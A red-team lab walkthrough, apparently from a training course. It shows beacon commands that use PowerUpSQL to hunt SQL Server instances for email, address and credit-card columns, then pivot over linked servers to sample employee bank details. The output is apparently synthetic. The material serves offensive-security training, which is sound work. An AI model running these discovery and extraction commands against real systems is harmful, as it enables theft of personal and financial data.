Databases

PowerUpSQL provides various cmdlets designed for data searching and extraction. One such cmdlet is Get-SQLColumnSampleDataThreaded, which can search one or more instances for databases that contain particular keywords in the column names.

beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

Instance                     Database Column                   Sample                  
--------                     -------- ------                   ------                  
sql-2.dev.cyberbotic.io,1433 master   email                    [e-mail]        
sql-2.dev.cyberbotic.io,1433 master   email                    [e-mail] 
sql-2.dev.cyberbotic.io,1433 master   email                    [e-mail]
sql-2.dev.cyberbotic.io,1433 master   email                    [e-mail]      
sql-2.dev.cyberbotic.io,1433 master   email                    [e-mail]  
sql-2.dev.cyberbotic.io,1433 master   address                  5575 8th Plaza          
sql-2.dev.cyberbotic.io,1433 master   address                  759 Schmedeman Avenue   
sql-2.dev.cyberbotic.io,1433 master   address                  077 Menomonie Parkway   
sql-2.dev.cyberbotic.io,1433 master   address                  99 Gerald Street        
sql-2.dev.cyberbotic.io,1433 master   address                  150 Raven Court         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288069616869         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288681554928         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283595554411         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283532455854         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288154929482         

\

This can only search the instances you have direct access to; it won't traverse any SQL links. To search over the links use Get-SQLQuery.

 beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select * from information_schema.tables')"

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME            TABLE_TYPE
------------- ------------ ----------            ----------
master        dbo          spt_fallback_db       BASE TABLE
master        dbo          spt_fallback_dev      BASE TABLE
master        dbo          spt_fallback_usg      BASE TABLE
master        dbo          employees             BASE TABLE
master        dbo          spt_values            VIEW      
master        dbo          spt_monitor           BASE TABLE
master        dbo          MSreplication_options BASE TABLE

\

Note the "employees" table. Next, list its columns.

beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select column_name from master.information_schema.columns where table_name=''employees''')"

column_name   
-----------   
id            
first_name    
last_name     
gender        
address       
post_code     
sort_code     
account_number

\

Then finally, take a data sample.

beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"

first_name gender sort_code
---------- ------ ---------
Juliann    Female 09-46-87 
Rhodie     Female 89-74-73 
Calypso    Female 77-33-04 
Burt       Male   36-84-98 
Gayelord   Male   28-16-45 

\

If this is real data, don't extract multiple columns that can be correlated together. As in this example, take a sample of a column that doesn't really mean anything in isolation. To simulate data exfiltration of large dataset, have a look at Egress Assess.